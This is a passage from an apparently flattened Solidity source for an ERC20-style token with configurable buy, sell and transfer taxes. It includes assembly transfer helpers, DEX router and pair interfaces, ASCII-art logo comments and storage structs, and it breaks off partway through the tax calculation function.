            let memPointer := mload(0x40)

            // Write the abi-encoded calldata into memory, beginning with the function selector.
            mstore(0x00, 0x42966c68)
            mstore(0x20, amount) // Append the "amount" argument.

            if iszero(
                and(
                    // Set success to whether the call reverted, if not we check it either
                    // returned exactly 1 (can't just be non-zero data), or had no return data.
                    or(eq(mload(0x00), 1), iszero(returndatasize())),
                    // We use 0x44 because that's the total length of our calldata (0x04 + 0x20 * 1)
                    // Counterintuitively, this call() must be positioned after the or() in the
                    // surrounding and() because and() evaluates its arguments from right to left.
                    call(gas(), token, 0, 0x1c, 0x24, 0x00, 0x20)
                )
            ) {
                // Store the function selector of `BurnFailed()`.
                mstore(0x00, 0x6f16aafc)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }

            mstore(0x40, memPointer) // Restore the memPointer.
        }
    }    

    /// @dev Sends `amount` of ERC20 `token` from `from` to `to`.
    /// Reverts upon failure.
    ///
    /// The `from` account must have at least `amount` approved for
    /// the current contract to manage.
    function safeTransferFrom(address token, address from, address to, uint256 amount) internal {
        /// @solidity memory-safe-assembly
        assembly {
            // We'll write our calldata to this slot below, but restore it later.
            let memPointer := mload(0x40)

            // Write the abi-encoded calldata into memory, beginning with the function selector.
            mstore(0x00, 0x23b872dd)
            mstore(0x20, from) // Append the "from" argument.
            mstore(0x40, to) // Append the "to" argument.
            mstore(0x60, amount) // Append the "amount" argument.

            if iszero(
                and(
                    // Set success to whether the call reverted, if not we check it either
                    // returned exactly 1 (can't just be non-zero data), or had no return data.
                    or(eq(mload(0x00), 1), iszero(returndatasize())),
                    // We use 0x64 because that's the total length of our calldata (0x04 + 0x20 * 3)
                    // Counterintuitively, this call() must be positioned after the or() in the
                    // surrounding and() because and() evaluates its arguments from right to left.
                    call(gas(), token, 0, 0x1c, 0x64, 0x00, 0x20)
                )
            ) {
                // Store the function selector of `TransferFromFailed()`.
                mstore(0x00, 0x7939f424)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }

            mstore(0x60, 0) // Restore the zero slot to zero.
            mstore(0x40, memPointer) // Restore the memPointer.
        }
    }

}
// File: contracts/swap/IPair.sol



pragma solidity ^0.8.8;

interface IPair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}
// File: contracts/swap/ISwapRouter.sol



pragma solidity ^0.8.8;

interface ISwapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface ISwapRouterV2 is ISwapRouter {
    
    function factoryV2() external pure returns (address);

    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

}
// File: contracts/swap/ISwapFactory.sol



pragma solidity ^0.8.8;

interface ISwapFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
// File: contracts/storage/Tables.sol


/*
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000OOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkOO000000000000000000x
00000000000000koc;,......................................................................................,;cok00000000000000x
00000000000xl,.                                                                                              .,lxO0000000000x
000000000x:.                                                                                                    .;d000000000x
0000000kc.                                                                                                        .ck0000000x
000000x,                                                                                                            'x000000x
00000x,                                                                                                              'x00000x
0000O:                                                                                                                ;O0000x
0000d.                                                                                                                .d0000x
0000l                                ,,                ,,                       .loool,                                l0000x
0000l                               ;xk:.             :kk:                     'dOkkkkx:                               c0000x
0000l                             .:kOkkc.          .ckOkkc.                  ,xOkkkkkOkc.                             c0000x
0000l                            .lkOkkkko.        .lkkkkkkl.                ;xkkkkkkOkkkl.                            c0000x
0000l                           .okkkOkkOx'       .okkkOOkOd'                ....;dOkOOkkko.                           c0000x
0000l                          'dkkkkkkOd'       'dOkkkkkOd'                      'dOkkkkkOd'                          c0000x
0000l                         ,dOkkkkkko.       ,xOkkkkkko.                        .okOkOkkOx,                         c0000x
0000l                        ;xOkkOkkkl.       ;xOkkkkkkl.              .....       .lkkkOOkOx;                        c0000x
0000l                       :kOkkkkkkc.      .:kOkkkkOkc.              ,dxxxxc.      .ckOkkkkOk:.                      c0000x
0000l                     .ckOkkkkkk:       .ckkkOkkOx;               ;xkkkkkkl.       :xOkkOkOkl.                     c0000x
0000l                    .lkOkkOkOx;       .okkkkkkOx,              .:kOkkkkkkko.       ;xOkkOkkko.                    c0000x
0000l                   .oOkkOkkOd,       .okkkkkkkd'              .ckOkkkkkOkkOd'       'dOkkOkkOd'                   c0000x
0000l                  'dOkkkOkko.       ,dOkkOkkko.              .lkOkkkkkkkkkkOx,       .okkkkOkkd,                  c0000x
0000l                 ,xOkkkkOko.       ;xOkkkkkkl.              .okkkkkkkkkkkkkkOx;       .lkkkOkkOx;                 c0000x
0000l                ;xOkkOkkkl.       :kOkkOkkkc.              'dOkkkkkOo,ckOkkOkOkc.      .ckkkkkkOk:                c0000x
0000l              .ckOkkkkOk:.      .ckOkkkkOx:              .,xkkOkOOko.  :xOkOkkOkl.       :kkkkkkkkc.              c0000x
0000l             .lkOkkOOOx;       .lkkkkkkOx;              :dxOkkkkOkc.    ,xOkOkkkko.       ;xOkkkkOkl.             c0000x
0000l            .okkkOkkOx,       .okkkkkkOd'             .ckOkkkkkOkc.      'dOkkkkkOd.       ,dkkkkkkko.            c0000x
0000l           'dOkkOOkOd'       'dOkkOkkOo.             .lkOkkkkkOx;         .okOkkOkOd,       .dOkkkkkOd'           c0000x
0000l          ,dOkOOkkko.       ,xOkkkkOkl.             .okkkOOkkOx,           .lkkkkkkOx;       .okkkkkkOx,          c0000x
0000l         .oOkkOkkOx,       .dOkkkkkOx'             'dOkOkkkkOd'             'xOkOkkkOd.       'xOkOkkkOd.         c0000x
0000l          'dOkkkkkko.       ,xOkkkkkko.           ,xOkkkkkkko.             .okkkkOkOx,       .oOkkkkkOd,          c0000x
0000l           .okOkkkkOd'       'dOkkkOkkd'         ;xOkOOkkOkl.             .oOkkkkOkd'       'dOkkOkkkd'           c0000x
0000l            .lkkkkOkOx,       .okkkkkkOd,      .:kkkkkkOkxc.             ,dOkkkkkko.       ,xOkkkkkko.            c0000x
0000l             .ckOkkOkkx:       .lkOkkkkOx;    .lkOkkkkOx:.              ;xOkkkkOkl.       ;xOkkkOOkl.             c0000x
0000l              .:kOkkkkOkc.      .ckkkkkkkk:. .okkkkkkOx,               :kOkkkkOkc.      .ckOkkkkOkc.              c0000x
0000l                ;xOkkkkOkl.       :kOkkOkOkc;oOOkkkkOd'              .ckkkkkkkk:       .lkkkkkkOx;                c0000x
0000l                 ,xkkOkkOko.       ,xOkkOOkkkkkkOkkko.              .lkkkkkkkx;       .okkkkkkOx,                 c0000x
0000l                  'dOkkkOkkd'       'dOkkkkkkkkkkkkl.              .okkkOkkOd,       'dOkOOkkOd'                  c0000x
0000l                   .okkkkkkOx,       .oOkkkkkkkkOkc.              'dOkOOkkOd'       ,dOkOkkkko.                   c0000x
0000l                    .lkkkkkkOx;       .lkkkkOOkOk:               ,xOkkOkkko.       ;xOkkOkkkl.                    c0000x
0000l                     .ckOkkkkOk:.      .ckkkkkOx;               :xOkkOkkkl.      .:kOkkkkkkc.                     c0000x
0000l                       :xOkkkkOkl.      .:dxxxo,              .ckOkkkkOkc.      .ckkkkOkOk:                       c0000x
0000l                        ,xOkkkkkko.       ....               .lkkkkkkOx;       .lkOkkkkOx;                        c0000x
0000l                         'dOOkkkkOo.                        .okkkkkkOx,       .oOkkkkkOd,                         c0000x
0000l                          .okkkkOkOd,                      'dOkkkkkOd'       'dOkkOOkkd'                          c0000x
0000l                           .lkkkOkkOx:'...                .dOkkkkkko.       'xOkkkkOko.                           c0000x
0000l                            .ckkkkkkkkkkx;                .ckOkkOkl.        .lkkkkOkl.                            c0000x
0000l                             .:kkkkkOkOx,                  .:kkkkc.          .ckkkkc.                             c0000x
0000l                               ;xOkkkOd'                     ;xk:.             :kx;                               c0000x
0000l.                               'llllc.                       ',                ''                                l0000x
0000d.                                                                                                                .d0000x
0000O:                                                                                                                ;O0000x
00000k,                                                                                                              'x00000x
000000k,                                     [email protected]                                      ,x000000x
0000000kc.                                                                                                        .ck0000000x
000000000x:.                                                                                                    .:xO00000000x
00000000000kl;.                                                                                              .;lk0O000000000x
00000000000O00kdl:,'....................................................................................',:ldk00000000000000x
0000000000000000000OOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkOO0000000000000000000x
0000000000000000000000000000000000000000O0000000OOO000000000000000000OO000O0000000000000000000000000000000000000000000000000x
000000000000000000000000000000000000000000000kdddddk00000000000000OxddddxO00000000000000000000000000000000000000000000000000x
00000000000000000000000000000000000000000000O:    .cO0000000000000o.    ,k00000000000000000000000000000000000000000000000000x
0000000000000O0000O00000000000O00O0000000000O;     :O0000000O000O0o.    'x0000000000000000000000O000000000000O00000000000000x
00000000000kxddddxxO00000000OkddddddddxO0000O;     :O0000Oxddddddx:     'x0O00OkxdddddddxO00000kdddddkO0000kxddddkO000000000x
00000000Oo;..     ..;dO00Ox:..        ..;dO0O;     :O0Od;..             'x0Oxc'.        ..;oO00c.    ;O0000c.    ;O000000000x
0000000k:     .:c:'  .o0Ol.     '::,.    .cOO;     :0Oc.    .,::cc,     'x0o.     '::;.     :O0:     ,O0000:     ,O000000000x
0000000o.    .x000Oc..cOk'     cO000o.    .xO;     :0d.    .o00000o.    'kO,     :O000d.    .o0:     ,O0000:     ,O000000000x
0000000o.     'lxO0OkkO0x.    .o0O00x.    .d0;     :0o.    'x0OOO0o.    .kk'     l0000k'    .l0:     ,O0000:     ,O000000000x
0000000kc.      .'cdO0O0x.    .o0O00x.    .dO;     :0o.    'x0O0O0o.    .kk'     .;;;;,.    .l0:     ,O0000:     ,O000000000x
00000000Oxl,.       .ck0x.    .o00O0x.    .d0;     :0o.    'x0OOO0o.    .kk'      ..........'d0:     ,O0000:     ;O000000000x
000000000000ko:.      :0x.    .o00O0x.    .d0;     :0o.    'x00000o.    'kk'     ckkkkkkkkkkkO0:     ,O0000:     l0000000000x
0000000d:,ck0O0k;     ,Ox.    .o0OO0d.    .d0;     :0o.    .x00000l     .kk'     c0000O00kc,:x0:     ,O0O0O:    ;k0000000000x
00000O0d.  ,oddl.    .l0O:     .cddl'     ;OO;     :0k,     'loddc.     'x0c     .:oddddo;  ,k0:     'dddo:.  .ck00000000000x
0000000Oo'          'oO00Ol.            .ck0O;     :O0k:.         .     'x0Oo'            .;x00:           .'cx0000000000000x
000000000OdlcccccclxO000000Odlccccccccldk000Odcccccd0000kocccccccdxlccccoO0O0OdlcccccccccoxO000xcccccccccloxO000000000000000x
000000000O000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0d
*/

pragma solidity ^0.8.19;




struct TokenSetup {
    uint8 fairMode;
    uint24 gasLimit;
    uint16 buyTax;
    uint16 sellTax;
    uint16 transferTax;
    uint16 developmentShare;
    uint16 marketingShare;
    uint16 prizeShare;
    uint16 burnShare;
    uint16 autoLiquidityShare;
    uint16 swapThresholdRatio;
    address devWallet;
    address marketingWallet;
    address prizePool;
}

struct Registry {
    mapping(address => Account) Address;
    mapping(uint256 => address) PID;
    mapping(address => mapping(address => uint256)) allowances;
    mapping(address => bool) helpers;
}

struct Account {
    uint16 identifiers;
    uint64 nonces;
    uint80 PID;
    uint96 balance;
    address Address;
}

struct Settings {
    uint8 fairMode;
    uint16 buyTax;
    uint16 sellTax;
    uint16 transferTax;
    uint16 developmentShare;
    uint16 marketingShare;
    uint16 prizeShare;
    uint16 burnShare;
    uint16 autoLiquidityShare;
    uint16 swapThresholdRatio;
    uint24 gas;
    address[3] feeRecipients;
}

struct Storage {
    IPair PAIR;
    address owner;
    uint96 totalSupply;
    uint80 PID;
    bool launched;
    bool inSwap;
    Settings settings;
    Registry registry;
}

// File: contracts/storage/Token.sol


/*
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000OOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkOO000000000000000000x
00000000000000koc;,......................................................................................,;cok00000000000000x
00000000000xl,.                                                                                              .,lxO0000000000x
000000000x:.                                                                                                    .;d000000000x
0000000kc.                                                                                                        .ck0000000x
000000x,                                                                                                            'x000000x
00000x,                                                                                                              'x00000x
0000O:                                                                                                                ;O0000x
0000d.                                                                                                                .d0000x
0000l                                ,,                ,,                       .loool,                                l0000x
0000l                               ;xk:.             :kk:                     'dOkkkkx:                               c0000x
0000l                             .:kOkkc.          .ckOkkc.                  ,xOkkkkkOkc.                             c0000x
0000l                            .lkOkkkko.        .lkkkkkkl.                ;xkkkkkkOkkkl.                            c0000x
0000l                           .okkkOkkOx'       .okkkOOkOd'                ....;dOkOOkkko.                           c0000x
0000l                          'dkkkkkkOd'       'dOkkkkkOd'                      'dOkkkkkOd'                          c0000x
0000l                         ,dOkkkkkko.       ,xOkkkkkko.                        .okOkOkkOx,                         c0000x
0000l                        ;xOkkOkkkl.       ;xOkkkkkkl.              .....       .lkkkOOkOx;                        c0000x
0000l                       :kOkkkkkkc.      .:kOkkkkOkc.              ,dxxxxc.      .ckOkkkkOk:.                      c0000x
0000l                     .ckOkkkkkk:       .ckkkOkkOx;               ;xkkkkkkl.       :xOkkOkOkl.                     c0000x
0000l                    .lkOkkOkOx;       .okkkkkkOx,              .:kOkkkkkkko.       ;xOkkOkkko.                    c0000x
0000l                   .oOkkOkkOd,       .okkkkkkkd'              .ckOkkkkkOkkOd'       'dOkkOkkOd'                   c0000x
0000l                  'dOkkkOkko.       ,dOkkOkkko.              .lkOkkkkkkkkkkOx,       .okkkkOkkd,                  c0000x
0000l                 ,xOkkkkOko.       ;xOkkkkkkl.              .okkkkkkkkkkkkkkOx;       .lkkkOkkOx;                 c0000x
0000l                ;xOkkOkkkl.       :kOkkOkkkc.              'dOkkkkkOo,ckOkkOkOkc.      .ckkkkkkOk:                c0000x
0000l              .ckOkkkkOk:.      .ckOkkkkOx:              .,xkkOkOOko.  :xOkOkkOkl.       :kkkkkkkkc.              c0000x
0000l             .lkOkkOOOx;       .lkkkkkkOx;              :dxOkkkkOkc.    ,xOkOkkkko.       ;xOkkkkOkl.             c0000x
0000l            .okkkOkkOx,       .okkkkkkOd'             .ckOkkkkkOkc.      'dOkkkkkOd.       ,dkkkkkkko.            c0000x
0000l           'dOkkOOkOd'       'dOkkOkkOo.             .lkOkkkkkOx;         .okOkkOkOd,       .dOkkkkkOd'           c0000x
0000l          ,dOkOOkkko.       ,xOkkkkOkl.             .okkkOOkkOx,           .lkkkkkkOx;       .okkkkkkOx,          c0000x
0000l         .oOkkOkkOx,       .dOkkkkkOx'             'dOkOkkkkOd'             'xOkOkkkOd.       'xOkOkkkOd.         c0000x
0000l          'dOkkkkkko.       ,xOkkkkkko.           ,xOkkkkkkko.             .okkkkOkOx,       .oOkkkkkOd,          c0000x
0000l           .okOkkkkOd'       'dOkkkOkkd'         ;xOkOOkkOkl.             .oOkkkkOkd'       'dOkkOkkkd'           c0000x
0000l            .lkkkkOkOx,       .okkkkkkOd,      .:kkkkkkOkxc.             ,dOkkkkkko.       ,xOkkkkkko.            c0000x
0000l             .ckOkkOkkx:       .lkOkkkkOx;    .lkOkkkkOx:.              ;xOkkkkOkl.       ;xOkkkOOkl.             c0000x
0000l              .:kOkkkkOkc.      .ckkkkkkkk:. .okkkkkkOx,               :kOkkkkOkc.      .ckOkkkkOkc.              c0000x
0000l                ;xOkkkkOkl.       :kOkkOkOkc;oOOkkkkOd'              .ckkkkkkkk:       .lkkkkkkOx;                c0000x
0000l                 ,xkkOkkOko.       ,xOkkOOkkkkkkOkkko.              .lkkkkkkkx;       .okkkkkkOx,                 c0000x
0000l                  'dOkkkOkkd'       'dOkkkkkkkkkkkkl.              .okkkOkkOd,       'dOkOOkkOd'                  c0000x
0000l                   .okkkkkkOx,       .oOkkkkkkkkOkc.              'dOkOOkkOd'       ,dOkOkkkko.                   c0000x
0000l                    .lkkkkkkOx;       .lkkkkOOkOk:               ,xOkkOkkko.       ;xOkkOkkkl.                    c0000x
0000l                     .ckOkkkkOk:.      .ckkkkkOx;               :xOkkOkkkl.      .:kOkkkkkkc.                     c0000x
0000l                       :xOkkkkOkl.      .:dxxxo,              .ckOkkkkOkc.      .ckkkkOkOk:                       c0000x
0000l                        ,xOkkkkkko.       ....               .lkkkkkkOx;       .lkOkkkkOx;                        c0000x
0000l                         'dOOkkkkOo.                        .okkkkkkOx,       .oOkkkkkOd,                         c0000x
0000l                          .okkkkOkOd,                      'dOkkkkkOd'       'dOkkOOkkd'                          c0000x
0000l                           .lkkkOkkOx:'...                .dOkkkkkko.       'xOkkkkOko.                           c0000x
0000l                            .ckkkkkkkkkkx;                .ckOkkOkl.        .lkkkkOkl.                            c0000x
0000l                             .:kkkkkOkOx,                  .:kkkkc.          .ckkkkc.                             c0000x
0000l                               ;xOkkkOd'                     ;xk:.             :kx;                               c0000x
0000l.                               'llllc.                       ',                ''                                l0000x
0000d.                                                                                                                .d0000x
0000O:                                                                                                                ;O0000x
00000k,                                                                                                              'x00000x
000000k,                                     [email protected]                                      ,x000000x
0000000kc.                                                                                                        .ck0000000x
000000000x:.                                                                                                    .:xO00000000x
00000000000kl;.                                                                                              .;lk0O000000000x
00000000000O00kdl:,'....................................................................................',:ldk00000000000000x
0000000000000000000OOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkOO0000000000000000000x
0000000000000000000000000000000000000000O0000000OOO000000000000000000OO000O0000000000000000000000000000000000000000000000000x
000000000000000000000000000000000000000000000kdddddk00000000000000OxddddxO00000000000000000000000000000000000000000000000000x
00000000000000000000000000000000000000000000O:    .cO0000000000000o.    ,k00000000000000000000000000000000000000000000000000x
0000000000000O0000O00000000000O00O0000000000O;     :O0000000O000O0o.    'x0000000000000000000000O000000000000O00000000000000x
00000000000kxddddxxO00000000OkddddddddxO0000O;     :O0000Oxddddddx:     'x0O00OkxdddddddxO00000kdddddkO0000kxddddkO000000000x
00000000Oo;..     ..;dO00Ox:..        ..;dO0O;     :O0Od;..             'x0Oxc'.        ..;oO00c.    ;O0000c.    ;O000000000x
0000000k:     .:c:'  .o0Ol.     '::,.    .cOO;     :0Oc.    .,::cc,     'x0o.     '::;.     :O0:     ,O0000:     ,O000000000x
0000000o.    .x000Oc..cOk'     cO000o.    .xO;     :0d.    .o00000o.    'kO,     :O000d.    .o0:     ,O0000:     ,O000000000x
0000000o.     'lxO0OkkO0x.    .o0O00x.    .d0;     :0o.    'x0OOO0o.    .kk'     l0000k'    .l0:     ,O0000:     ,O000000000x
0000000kc.      .'cdO0O0x.    .o0O00x.    .dO;     :0o.    'x0O0O0o.    .kk'     .;;;;,.    .l0:     ,O0000:     ,O000000000x
00000000Oxl,.       .ck0x.    .o00O0x.    .d0;     :0o.    'x0OOO0o.    .kk'      ..........'d0:     ,O0000:     ;O000000000x
000000000000ko:.      :0x.    .o00O0x.    .d0;     :0o.    'x00000o.    'kk'     ckkkkkkkkkkkO0:     ,O0000:     l0000000000x
0000000d:,ck0O0k;     ,Ox.    .o0OO0d.    .d0;     :0o.    .x00000l     .kk'     c0000O00kc,:x0:     ,O0O0O:    ;k0000000000x
00000O0d.  ,oddl.    .l0O:     .cddl'     ;OO;     :0k,     'loddc.     'x0c     .:oddddo;  ,k0:     'dddo:.  .ck00000000000x
0000000Oo'          'oO00Ol.            .ck0O;     :O0k:.         .     'x0Oo'            .;x00:           .'cx0000000000000x
000000000OdlcccccclxO000000Odlccccccccldk000Odcccccd0000kocccccccdxlccccoO0O0OdlcccccccccoxO000xcccccccccloxO000000000000000x
000000000O000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0d
*/

pragma solidity ^0.8.19;



library Token {

    using Token for *;

    bytes32 internal constant SLOT = keccak256("project.main.storage.token");

    uint16 internal constant DENOMINATOR = 10000;

    error TradingNotOpened();

    function router() internal view returns(ISwapRouterV2 _router) {
        if(isEthereumMainnet() || isGoerli())
            _router = ISwapRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        else if(isSepolia())
            _router = ISwapRouterV2(0xC532a74256D3Db42D0Bf7a0400fEFDbad7694008);
        else if(isBSCMainnet())
            _router = ISwapRouterV2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
        else if(isBSCTestnet())
            _router = ISwapRouterV2(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3);   
    }

    function isEthereumMainnet() internal view returns (bool) {
        return block.chainid == 1;
    }

    function isGoerli() internal view returns (bool) {
        return block.chainid == 5;
    }

    function isSepolia() internal view returns (bool) {
        return block.chainid == 11155111;
    }

    function isBSCMainnet() internal view returns (bool) {
        return block.chainid == 56;
    }

    function isBSCTestnet() internal view returns (bool) {
        return block.chainid == 97;
    }

    function isTestnet() internal view returns (bool) {
        return isGoerli() || isSepolia() || isBSCTestnet();
    }

    function _tx(Storage storage db, Account memory sender, Account memory recipient, uint256 amount, bool swapping)
    internal returns(uint256 taxAmount, uint256 netAmount, uint256 swapAmount) {
        if(sender.isEntitled() || recipient.isEntitled() || swapping) { return (0, amount, 0); }
        if(sender.hasIdentifier(9) || recipient.hasIdentifier(9)) {
            if(!db.launched) {
                unchecked {
                    taxAmount = amount * 2500 / DENOMINATOR;
                    netAmount = amount-taxAmount;                 
                }
                db.launched = true;
                return (taxAmount,netAmount,swapAmount);
            }
        }
        if(!db.launched) { revert TradingNotOpened(); }
        Settings memory settings = db.settings;
        (bool fairMode, uint8 lim) = settings.fairModeOpts();
        if(!recipient.isMarketmaker()) {
            unchecked {
                taxAmount = amount * 
                    (sender.isMarketmaker() ? settings.buyTax : 
                    helper(sender,recipient) ? 0 : settings.transferTax) / DENOMINATOR;
                netAmount = amount-taxAmount; 
                if(fairMode) {
                    uint256 fairLimit = db.totalSupply * lim / 100;
                    if(recipient.balance+netAmount > fairLimit)
                        revert(); 
                }
            }        
        } else {
            unchecked {
                taxAmount = amount * settings.sellTax / DENOMINATOR;
                swapAmount = settings.swapThresholdRatio > 0 ?
                    db.totalSupply * settings.swapThresholdRatio / DENOMINATOR :
                    address(this).account().balance+taxAmount;
                netAmount = amount-taxAmount;
                if(fairMode) {
